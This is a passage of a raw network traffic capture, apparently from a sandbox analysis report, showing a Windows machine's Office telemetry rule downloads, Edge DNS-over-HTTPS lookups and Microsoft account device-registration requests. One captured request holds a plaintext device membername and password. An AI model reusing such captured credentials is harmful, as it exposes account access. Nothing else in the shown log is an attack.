R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.7	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:50 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:51 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:51 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 4d626343-d01e-0028-4b44-3c7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210451Z-178bfbc474bw8bwphC1NYC38b400000001wg0000000099mt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:51 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.7	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:50 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:51 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:51 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: c8277487-201e-0051-68a5-3b7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210451Z-r1d97b99577ckpmjhC1TEBrzs00000000av000000000t7c8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:51 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.7	49861	162.159.61.3	443	1180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:51 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-21 21:04:51 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-21 21:04:51 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 21 Nov 2024 21:04:51 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e63a2733aad186d-EWR alt-svc: h3=":443"; ma=86400
2024-11-21 21:04:51 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 2c 00 04 8e fa 41 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom,A)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.7	49857	162.159.61.3	443	1180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:51 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-21 21:04:51 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-21 21:04:51 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 21 Nov 2024 21:04:51 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e63a2734f9cc359-EWR alt-svc: h3=":443"; ma=86400
2024-11-21 21:04:51 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 13 00 04 8e fa 41 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.7	49849	162.159.61.3	443	1180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:51 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-21 21:04:51 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-21 21:04:51 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 21 Nov 2024 21:04:51 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e63a27358cb436a-EWR alt-svc: h3=":443"; ma=86400
2024-11-21 21:04:51 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 ee 00 04 8e fa 41 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.7	49848	162.159.61.3	443	1180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:51 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-21 21:04:51 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-21 21:04:51 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 21 Nov 2024 21:04:51 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e63a273abe7c34b-EWR alt-svc: h3=":443"; ma=86400
2024-11-21 21:04:51 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 13 00 04 8e fa 41 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.7	49862	162.159.61.3	443	1180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:51 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-21 21:04:51 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-21 21:04:51 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 21 Nov 2024 21:04:51 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e63a273df4f333c-EWR alt-svc: h3=":443"; ma=86400
2024-11-21 21:04:51 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 27 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom' c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.7	49843	20.190.177.23	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:51 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-21 21:04:51 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-21 21:04:52 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 21 Nov 2024 21:03:52 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_BAY x-ms-request-id: ed58b316-782a-4ca2-9084-52153f1a5c1b PPServer: PPV: 30 H: PH1PEPF0001B72E V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 21 Nov 2024 21:04:52 GMT Connection: close Content-Length: 1276
2024-11-21 21:04:52 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.7	49856	162.159.61.3	443	1180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:51 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-21 21:04:51 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-21 21:04:52 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 21 Nov 2024 21:04:51 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e63a273feda4379-EWR alt-svc: h3=":443"; ma=86400
2024-11-21 21:04:52 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 0d 00 04 8e fa 41 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.7	49844	20.190.177.23	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:51 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-11-21 21:04:51 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 64 65 74 6d 79 79 79 62 6e 65 69 74 6d 63 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 67 60 66 66 55 67 4a 53 28 6c 4c 6a 70 24 35 59 2a 32 7a 4a 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 71 74 6c 74 6e 74 63 62 72 65 71 75 61 6a 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02detmyyybneitmc</Membername><Password>g`ffUgJS(lLjp$5Y*2zJ</Password></Authentication><OldMembername>02qtltntcbrequaj</OldM
2024-11-21 21:04:58 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Thu, 21 Nov 2024 21:03:52 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C526_SN1 x-ms-request-id: dbc5405d-3dee-469c-bd35-a34de7e21fcf PPServer: PPV: 30 H: SN1PEPF0002FA14 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 21 Nov 2024 21:04:56 GMT Connection: close Content-Length: 17166
2024-11-21 21:04:58 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 43 30 30 46 32 43 32 45 35 41 42 36 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 35 66 30 39 66 64 36 65 2d 30 38 31 64 2d 34 32 63 39 2d 62 61 33 62 2d 34 64 31 31 37 65 62 66 62 30 62 37 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>0018C00F2C2E5AB6</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="5f09fd6e-081d-42c9-ba3b-4d117ebfb0b7" LicenseID="3252b20c-d425-4711
